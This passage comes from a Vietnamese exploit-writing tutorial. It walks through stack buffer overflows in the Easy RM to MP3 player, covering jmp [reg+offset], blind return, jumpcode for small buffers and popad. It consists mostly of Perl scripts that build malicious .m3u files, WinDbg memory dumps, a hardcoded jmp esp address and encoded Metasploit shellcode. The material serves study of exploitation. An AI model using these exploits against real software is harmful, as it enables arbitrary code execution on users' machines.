"\x4c\x4c\x4b\x44\x30\x45\x4c\x4e\x4d\x4c\x4b\x45\x38\x43" .
"\x38\x4b\x39\x4a\x58\x4c\x43\x49\x50\x42\x4a\x50\x50\x42" .
"\x48\x4c\x30\x4d\x5a\x43\x34\x51\x4f\x45\x38\x4a\x38\x4b" .
"\x4e\x4d\x5a\x44\x4e\x46\x37\x4b\x4f\x4d\x37\x42\x43\x45" .
"\x31\x42\x4c\x42\x43\x45\x50\x41\x41";
open($FILE,">$file");
print $FILE $junk.$eip.$prependesp.$shellcode;
close($FILE);
print "m3u File Created successfully\n";

Author : Hà Bách Nam and Nguyễn Kim Thụy

11


5T4 – Private Only

pwned again !
4. jmp

[reg]+[offset]
Một kỹ thuật khác để khắc phục tình trạng shellcode bắt đầu ở vị trí offset
của thanh ghi ( ESP trong ví dụ) là thử tìm lệnh jmp [reg + offset] và ghi đè EIP
bằng địa chỉ của lệnh này. Giá sử chúng ta cần nhảy 8bytes ( như trong ví dụ
trước), sử dụng kỹ thuật jmp reg+offset nhảy 8bytes tới trực tiếp shell code.
Chúng ta cần 3 thứ:
Tìm được opcode của esp+8h.
Tìm được địa chỉ trỏ tới lệnh này.
Ghi đè EIP bằng địa chỉ đó.
Sử dụng windbg tìm opcode:
0:014> a
7c90120e jmp [esp + 8]
jmp [esp + 8]
7c901212
0:014> u 7c90120e
ntdll!DbgBreakPoint:
7c90120e ff642408

jmp

dword ptr [esp+8]

Opcode là ff642408
Bây giở bạn cần tìm kiếm những dll có opcode này, và sử dụng địa chỉ đó
ghi đè EIP. Nhưng tôi không thể tìm được opcode này ở bất kỳ đâu. Đương
nhiên, không giới hạn việc tìm kiếm phải là esp+8, có thể là lớn hơn 8, khi đó ta
sẽ thêm một số NOP cho phù hợp.
Author : Hà Bách Nam and Nguyễn Kim Thụy

12


5T4 – Private Only
5.

Blind return
Kỹ thuật này gồm 2 bước sau:
Ghi đè EIP với địa chỉ trỏ tới lênh RET.
Biết được địa chỉ 4bytes đầu của ESP.

Khi lệnh RET được thực thi, sẽ lấy 4bytes này ( lúc này đang ở đỉnh stack)
ghi vào EIP.
Exploit nhảy tới shellcode.
Kỹ thuật này có tác dụng khi:
Bạn không thể trỏ EIP tới một thanh ghi ( vì không tìm được lệnh jump hay
call nào).
Bạn điều kiển được ESP.
Để thực hiện được, bạn cần phải có địa chỉ bộ nhớ của shellcode ( = địa chỉ
stack). Như thường lệ, để tránh null bytes bạn thường đặt shellcode sau EIP.
Nếu shellcode đặt ở vị trí không có null bytes, nó có thể làm việc.
Tìm địa chỉ của lệnh RET trong các dll.
Thiết lập 4bytes đầu của ESP trỏ tới nơi shellcode bắt đầu, và ghi đè EIP
với địa chỉ trỏ tới lệnh RET. Nhớ rằng trong phần 1, ESP trỏ tới 0x000ff730,
đương nhiên địa chỉ này thay đổi theo từng hệ điều hành, nhưng không có cách
nào khác ngoài đặt cứng địa chỉ. Buffer sẽ trông như sau:
[26094 A’s][address of ret][0x000fff730][shellcode]
6. Xử

lý small buffer, nhảy tới bất kỳ với jump code.
Chúng ta đã nói về cách làm cho EIP nhảy tới shellcode của chúng ta. Rõ
ràng là chúng ta đã thoải mái đặt shellcode trong buffer ( phần sau EIP). Nhưng
nếu chúng ta không có đủ độ lớn để đặt shellcode vào thì sao?
Trong ví dụ, chúng ta sử dụng 26094 A để ghi đè lên EIP, và chúng tôi thấy
rằng ESP trỏ tới 26094+4bytes, có rất nhiều không gian ở phía trước. Nhưng
nếu chúng ta chỉ có 50bytes phía sau. 50bytes để lưu trữ shellcode là không đủ.
Vì vậy, chúng ta phải tìm xung quanh, và sử dụng 26094 khi kích hoạt tràn bộ
nhớ đệm.

Author : Hà Bách Nam and Nguyễn Kim Thụy

13


5T4 – Private Only
Đầu tiên, chúng ta cần tìm 26094 bytes này ở đâu trong bộ nhớ. Nếu không
tìm thấy nó ở đâu, rất khó để tham chiếu tới. Thực tế nếu tìm thấy trong bộ nhớ,
và một thanh ghi nào đó trỏ đến đó thì điều đó trở nên quá dễ dàng.
Thử kiểm tra Easy RM to MP3, bạn có thể thấy rằng 26094 bytes có thể
thấy trong ESP dump:
my
my
my
my
my

$file= "test1.m3u";
$junk= "A" x 26094;
$eip = "BBBB";
$preshellcode = "X" x 54; #let's pretend this is the only space we have available
$nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data

open($FILE,">$file");
print $FILE $junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";

Mở file test1.m3u, chúng ta sẽ thấy:
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??
???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff840 90 90 90 90 90 90 90 90-00 41 41 41 41 41 41 41 .........AAAAAAA
000ff850 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff860 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff870 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff880 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff890 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff8a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Chúng ta thấy 50 X trong ESP. Giả sử đó là không gian dành cho shellcode.
Tuy nhiên, nhìn xuống dưới, chúng ta thấy rằng A bắt đầu tại địa chỉ 000ff849
(=ESP+281).
Khi nhìn vào các thanh ghi khác, chúng ta không thấy dấu vết nào của X và
A. Vì vậy, đây chính là nó. Chúng ta có thể ngảy tới ESP để thực thi shellcode,
nhưng chúng ta chỉ có 50bytes. Chúng ta sẽ sử dụng phần bộ nhớ khác trong
Author : Hà Bách Nam and Nguyễn Kim Thụy

14


5T4 – Private Only
buffer của chúng ta ở vị trí thấp hơn, thực tế chúng ta sẽ nhảy tới phần nội dung
của ESP, sẽ có phần bộ nhớ lớn với A.

Thật may mắn, A được lưu trữ và có cách từ X để nhảy tới A, để làm được
như vậy ta cần một số điều sau:
Author : Hà Bách Nam and Nguyễn Kim Thụy

15


5T4 – Private Only
Vị trí 26094 A phải nằm trong ESP. 000ff849 ("Nơi nào A được thể hiện
trong ESP thực sự bắt đầu?) (Vì vậy nếu chúng ta muốn để shellcode của chúng
tôi bên trong các là A, chúng ta cần để biết chính xác nơi nó cần phải được đặt)
“Jumpcode” : mã chúng ta dùng để nhảy từ X tới A. Mã này không thể lớn
hơn 50 byte (bởi vì đó là tất cả có sẵn trực tiếp tại ESP)
Chúng ta có thể tìm vị trí chính xác bằng đoán, custom patterns, metasploit
patterns. Ở đây chúng ta sử dụng metasploit’s patterns, tạo ra 1000 characters và
thay thế trong perlscript, nên sẽ còn 25101 A’s
my $file= "test1.m3u";
my $pattern = "Aa0Aa1Aa2Aa3Aa4Aa....g8Bg9Bh0Bh1Bh2B";
my $junk= "A" x 25101;
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available at ESP
my $nop = "\x90" x 230; #added some nops to visually separate our 54 X's from other data in the ESP
dump
open($FILE,">$file");
print $FILE $pattern.$junk.$eip.$preshellcode.$nop;
close($FILE);
print "m3u File Created successfully\n";
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??
???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff740 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff750 58 58 58 58 58 58 58 58-58 58 58 58 58 58 58 58 XXXXXXXXXXXXXXXX
000ff760 58 58 90 90 90 90 90 90-90 90 90 90 90 90 90 90 XX..............
000ff770 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff780 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff790 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7a0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff7b0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7c0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7d0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7e0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff7f0 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff800 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff810 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff820 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
0:000> d
000ff830 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff840 90 90 90 90 90 90 90 90-00 35 41 69 36 41 69 37 .........5Ai6Ai7
000ff850 41 69 38 41 69 39 41 6a-30 41 6a 31 41 6a 32 41 Ai8Ai9Aj0Aj1Aj2A
000ff860 6a 33 41 6a 34 41 6a 35-41 6a 36 41 6a 37 41 6a j3Aj4Aj5Aj6Aj7Aj
000ff870 38 41 6a 39 41 6b 30 41-6b 31 41 6b 32 41 6b 33 8Aj9Ak0Ak1Ak2Ak3
000ff880 41 6b 34 41 6b 35 41 6b-36 41 6b 37 41 6b 38 41 Ak4Ak5Ak6Ak7Ak8A
000ff890 6b 39 41 6c 30 41 6c 31-41 6c 32 41 6c 33 41 6c k9Al0Al1Al2Al3Al
000ff8a0 34 41 6c 35 41 6c 36 41-6c 37 41 6c 38 41 6c 39 4Al5Al6Al7Al8Al9

Chúng ta thấy 000ff849 là một phần mẫu, 4 ký tự đầu là 5Ai6.

Author : Hà Bách Nam and Nguyễn Kim Thụy

16


5T4 – Private Only

Sử dụng metasploit pattern_offset utility, chúng ta thấy 4 ký tự này ở offset
257. Như vậy thay vì đưa 26094 A, tôi sẽ đưa 257 A, tiếp theo là shellcode của
chúng ta, và phần còn lại là A nữa. Thậm chí tốt hơn sẽ là bắt đầu với 250 A, rồi
50 NOP, shellcode của chúng ta, rồi A. Nếu đặt NOP trước shellcode, nó sẽ làm
việc tốt.
Perl script của chúng ta sẽ như sau:
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";
my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 54; #let's pretend this is the only space we have available
my $nop2 = "\x90" x 230; #added some nops to visually separate our 54 X's from other data
my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$nop2;
close($FILE);
print "m3u File Created successfully\n";

Khi application dies, chúng ta có thể thấy 50 NOPs của chúng ta bắt đầu từ
000ff848, tiếp theo là shellcode (0x90 tại 000ff874), và sau đó một lần nữa tiếp
theo của A. Có vẻ tốt đẹp.
(188.c98): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006715
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.

Author : Hà Bách Nam and Nguyễn Kim Thụy

17


5T4 – Private Only
+0x42424231:
42424242 ??
???
0:000> d esp
000ff730 58 58 58 58 58 58 58
000ff740 58 58 58 58 58 58 58
000ff750 58 58 58 58 58 58 58
000ff760 58 58 90 90 90 90 90
000ff770 90 90 90 90 90 90 90
000ff780 90 90 90 90 90 90 90
000ff790 90 90 90 90 90 90 90
000ff7a0 90 90 90 90 90 90 90
0:000> d
000ff7b0 90 90 90 90 90 90 90
000ff7c0 90 90 90 90 90 90 90
000ff7d0 90 90 90 90 90 90 90
000ff7e0 90 90 90 90 90 90 90
000ff7f0 90 90 90 90 90 90 90
000ff800 90 90 90 90 90 90 90
000ff810 90 90 90 90 90 90 90
000ff820 90 90 90 90 90 90 90
0:000> d
000ff830 90 90 90 90 90 90 90
000ff840 90 90 90 90 90 90 90
000ff850 90 90 90 90 90 90 90
000ff860 90 90 90 90 90 90 90
000ff870 90 90 90 90 cc 41 41
000ff880 41 41 41 41 41 41 41
000ff890 41 41 41 41 41 41 41
000ff8a0 41 41 41 41 41 41 41

58-58
58-58
58-58
90-90
90-90
90-90
90-90
90-90

58
58
58
90
90
90
90
90

58
58
58
90
90
90
90
90

58
58
58
90
90
90
90
90

58
58
58
90
90
90
90
90

58
58
58
90
90
90
90
90

58
58
58
90
90
90
90
90

58
58
58
90
90
90
90
90

XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXX
XX..............
................
................
................
................

90-90
90-90
90-90
90-90
90-90
90-90
90-90
90-90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

90
90
90
90
90
90
90
90

................
................
................
................
................
................
................
................

90-90
90-00
90-90
90-90
41-41
41-41
41-41
41-41

90
90
90
90
41
41
41
41

90
90
90
90
41
41
41
41

90
90
90
90
41
41
41
41

90
90
90
90
41
41
41
41

90
90
90
90
41
41
41
41

90
90
90
90
41
41
41
41

90
90
90
90
41
41
41
41

................
................
................
................
.....AAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Điều thứ hai chúng ta cần làm là xây dựng jump code. Mục tiêu của jump
code là để nhảy ESP+281. Nhảy ESP+281 yêu cầu: Add 281 vào thanh ghi
ESP, sau đó jump esp. 281 = 119h. Đừng cố gắng cho tất cả vào một lệnh, hoặc
opcode đó sẽ có null bytes.
Vì có NOP phía trước, nên không cần thiết phải chính xác hoàn hảo. Miễn
là chúng ta thêm 281 ( hoặc hơn), nó có thể làm việc. Có 50bytes cho jump
code, đó không phải là vấn đề.
Tiến hành thêm 0x5e (94) 3 lần, sau đó jump to esp, mã assemly sẽ là:
add esp,0x5e
add esp,0x5e
add esp,0x5e
jmp esp
Sử dụng Windbg để lấy opcode:
0:014> a
7c901211 add
add esp,0x5e
7c901214 add
add esp,0x5e
7c901217 add
add esp,0x5e
7c90121a jmp
jmp esp
7c90121c

esp,0x5e
esp,0x5e
esp,0x5e
esp

Author : Hà Bách Nam and Nguyễn Kim Thụy

18


5T4 – Private Only
0:014> u 7c901211
ntdll!DbgBreakPoint+0x3:
7c901211 83c45e
7c901214 83c45e
7c901217 83c45e
7c90121a ffe4

add
add
add
jmp

esp,5Eh
esp,5Eh
esp,5Eh
esp

Opcode
cho
jump
code
0x83,0xc4,0x5e,0x83,0xc4,0x5e,0x83,0xc4,0x5e,0xff,0xe4

sẽ

là:

my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

#position 300

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = "BBBB";
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .
"\x83\xc4\x5e" .
"\x83\xc4\x5e" .
"\xff\xe4";
my $nop2 = "0x90" x 10;

#add
#add
#add
#jmp

esp,0x5e
esp,0x5e
esp,0x5e
esp

# only used to visually separate

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

jumpcode đã đặt ở ESP. Khi được gọi, ESP trỏ đến NOPS ( ở giữa 00ff842
và 000ff873). Shellcode bắt đầu ở 000ff874.
(45c.f60): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=42424242 esp=000ff730 ebp=003440c0 iopl=0
nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??
???
0:000> d esp
000ff730 83 c4 5e 83 c4 5e 83 c4-5e ff e4 00 01 00 00 00 ..^..^..^.......
000ff740 30 f7 0f 00 00 00 00 00-41 41 41 41 41 41 41 41 0.......AAAAAAAA
000ff750 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff760 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff770 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff780 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff790 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7a0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ff7b0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7c0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7d0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7e0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff7f0 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff800 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff810 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff820 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
0:000> d
000ff830 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff840 41 41 90 90 90 90 90 90-90 90 90 90 90 90 90 90 AA..............

Author : Hà Bách Nam and Nguyễn Kim Thụy

19


5T4 – Private Only
000ff850
000ff860
000ff870
000ff880
000ff890

90
90
90
41
41

90
90
90
41
41

90
90
90
41
41

90
90
90
41
41

90
90
cc
41
41

90
90
41
41
41

90
90
41
41
41

90-90
90-90
41-41
41-41
41-41

90
90
41
41
41

90
90
41
41
41

90
90
41
41
41

90
90
41
41
41

90
90
41
41
41

90
90
41
41
41

90
90
41
41
41

................
................
.....AAAAAAAAAAA
AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Cuối cùng là ghi đè EIP với jmp esp, quay lại phần 1 ta sẽ có thể làm được
ở địa chỉ 0x01ccf23a. Tóm lại, điều gì xảy ra khi overflow:
Shellcode thực sự được đặt ở phần đầu chuỗi, và kết thúc tại ESP+300.
Shellcode thực sự được cách một số NOP cho phép nhảy một số bit.
EIP bị ghi đè với địa chỉ 0x01ccf23a, trỏ tới jmp esp
Data sau EIP bị ghi đè với jumpcode thêm 282 vào ESP và nhảy đến đó.
Khi payload được gửi, EIP sẽ jump to esp, rồi nhảy tới ESP+282, Nop bỏ
qua, shellcode được thực hiện.
Sử dụng break thay cho shellcode:
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

#position 300

my $restofbuffer = "A" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a);
my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .
"\x83\xc4\x5e" .
"\x83\xc4\x5e" .
"\xff\xe4";

#jmp esp from MSRMCcodec02.dll

#add
#add
#add
#jmp

esp,0x5e
esp,0x5e
esp,0x5e
esp

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

EIP = 0x000ff874 = begin of shellcode
(d5c.c64): Break instruction exception - code 80000003 (!!! second chance !!!)
eax=00000001 ebx=00104a58 ecx=7c91005d edx=00000040 esi=77c5fce0 edi=00006608
eip=000ff874 esp=000ff84a ebp=003440c0 iopl=0
nv up ei pl nz ac po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000
efl=00000212
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0xff863:
000ff874 cc
int
3
0:000> d esp
000ff84a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff85a 90 90 90 90 90 90 90 90-90 90 90 90 90 90 90 90 ................
000ff86a 90 90 90 90 90 90 90 90-90 90 cc 41 41 41 41 41 ...........AAAAA
000ff87a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff88a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
000ff89a 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA

Author : Hà Bách Nam and Nguyễn Kim Thụy

20


5T4 – Private Only
000ff8aa
000ff8ba

41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41
41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41

AAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAA

Thay thế bằng shellcode thực sự, thay A bằng NOP:
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "\x90" x 200;
my $nop = "\x90" x 50;
# windows/exec - 303 bytes
# http://www.metasploit.com
# Encoder: x86/alpha_upper
# EXITFUNC=seh, CMD=calc
my $shellcode = "\x89\xe2\xd9\xeb\xd9\x72\xf4\x5b\x53\x59\x49\x49\x49\x49" .
"\x43\x43\x43\x43\x43\x43\x51\x5a\x56\x54\x58\x33\x30\x56" .
"\x58\x34\x41\x50\x30\x41\x33\x48\x48\x30\x41\x30\x30\x41" .
"\x42\x41\x41\x42\x54\x41\x41\x51\x32\x41\x42\x32\x42\x42" .
"\x30\x42\x42\x58\x50\x38\x41\x43\x4a\x4a\x49\x4b\x4c\x4d" .
"\x38\x51\x54\x45\x50\x43\x30\x45\x50\x4c\x4b\x51\x55\x47" .
"\x4c\x4c\x4b\x43\x4c\x44\x45\x43\x48\x43\x31\x4a\x4f\x4c" .
"\x4b\x50\x4f\x45\x48\x4c\x4b\x51\x4f\x51\x30\x45\x51\x4a" .
"\x4b\x50\x49\x4c\x4b\x46\x54\x4c\x4b\x45\x51\x4a\x4e\x46" .
"\x51\x49\x50\x4a\x39\x4e\x4c\x4b\x34\x49\x50\x44\x34\x45" .
"\x57\x49\x51\x49\x5a\x44\x4d\x45\x51\x48\x42\x4a\x4b\x4c" .
"\x34\x47\x4b\x50\x54\x51\x34\x45\x54\x44\x35\x4d\x35\x4c" .
"\x4b\x51\x4f\x51\x34\x43\x31\x4a\x4b\x42\x46\x4c\x4b\x44" .
"\x4c\x50\x4b\x4c\x4b\x51\x4f\x45\x4c\x45\x51\x4a\x4b\x4c" .
"\x4b\x45\x4c\x4c\x4b\x45\x51\x4a\x4b\x4b\x39\x51\x4c\x46" .
"\x44\x45\x54\x48\x43\x51\x4f\x46\x51\x4c\x36\x43\x50\x50" .
"\x56\x43\x54\x4c\x4b\x47\x36\x46\x50\x4c\x4b\x47\x30\x44" .
"\x4c\x4c\x4b\x42\x50\x45\x4c\x4e\x4d\x4c\x4b\x43\x58\x44" .
"\x48\x4d\x59\x4c\x38\x4d\x53\x49\x50\x42\x4a\x46\x30\x45" .
"\x38\x4c\x30\x4c\x4a\x45\x54\x51\x4f\x42\x48\x4d\x48\x4b" .
"\x4e\x4d\x5a\x44\x4e\x50\x57\x4b\x4f\x4b\x57\x42\x43\x43" .
"\x51\x42\x4c\x45\x33\x45\x50\x41\x41";
my $restofbuffer = "\x90" x ($buffersize-(length($junk)+length($nop)+length($shellcode)));
my $eip = pack('V',0x01ccf23a);

#jmp esp from MSRMCcodec02.dll

my $preshellcode = "X" x 4;
my $jumpcode = "\x83\xc4\x5e" .
"\x83\xc4\x5e" .
"\xff\xe4";
my $nop2 = "0x90" x 10;

#add esp,0x5e
#add esp,0x5e
#jmp esp

# only used to visually separate

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$jumpcode;
close($FILE);
print "m3u File Created successfully\n";

Author : Hà Bách Nam and Nguyễn Kim Thụy

21


5T4 – Private Only

pwned again :-)
7. Một

số cách nhảy khác
Popad: lệnh này giúp chúng ta nhảy tới shellcode khá tốt. popad (pop all
double) sẽ lấy double words từ trong stack (ESP) vào các thanh đa năng chỉ
trong một lần. Thứ tự các thanh ghi được nạp là: EDI, ESI, EBP, EBX, EDX,
ECX và EAX. Kết quả là ESP sẽ tăng lên sau mỗi lần load vào, một popad sẽ
lấy 32bytes từ ESP và đặt vào các thanh ghi theo thứ tự.
Popad có opcode là 0x61.
Giả sử bạn cần nhảy 40bytes, mà chỉ có vài bytes thực hiện lệnh nhảy, có
thể dùng 2popad để trỏ ESP tới shellcode ( với một vài bytes NOP để bù vào
2x32 – 40)
Bây giờ chúng ta sẽ sử dụng Easy RM to MP3 để demo kỹ thuật này. Vẫn
sử dụng script cũ, chúng ta sẽ xây dựng buffer giả tại 13 X, tiếp theo là một số
bytes rác ( D và A), rồi đến shellcode của chúng ta ( NOP+A).
my $file= "test1.m3u";
my $buffersize = 26094;
my $junk= "A" x 250;
my $nop = "\x90" x 50;
my $shellcode = "\xcc";

Author : Hà Bách Nam and Nguyễn Kim Thụy

22


5T4 – Private Only
my
$restofbuffer
=
+length($shellcode)));

"A"

my $eip = "BBBB";
my $preshellcode = "X" x 17;
available
my $garbage = "\x44" x 100;
jump over

x

($buffersize-(length($junk)+length($nop)

#let's pretend this is the only space we have
#let’s pretend this is the space we need to

my $buffer = $junk.$nop.$shellcode.$restofbuffer;
print "Size of buffer : ".length($buffer)."\n";
open($FILE,">$file");
print $FILE $buffer.$eip.$preshellcode.$garbage;
close($FILE);
print "m3u File Created successfully\n";

Mở file bằng Easy RM to MP3, appication die, ESP sẽ như sau:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001
ebx=00104a58
ecx=7c91005d
edx=003f0000
esi=77c5fce0
edi=0000666d
eip=42424242 esp=000ff730 ebp=00344158 iopl=0
nv up ei pl nz na pe
nc
cs=001b
ss=0023
ds=0023
es=0023
fs=003b
gs=0000
efl=00010206
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
+0x42424231:
42424242 ??
???
0:000> d esp
000ff730 58 58 58 58 58 58 58 58-58 58 58 58 58 44 44 44 XXXXXXXXXXXXXDDD
| => 13 bytes
000ff740 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
| => garbage
000ff750 44 44 44 44 44 44 44 44-44 44 44 44 44 44 44 44 DDDDDDDDDDDDDDDD
| => garbage
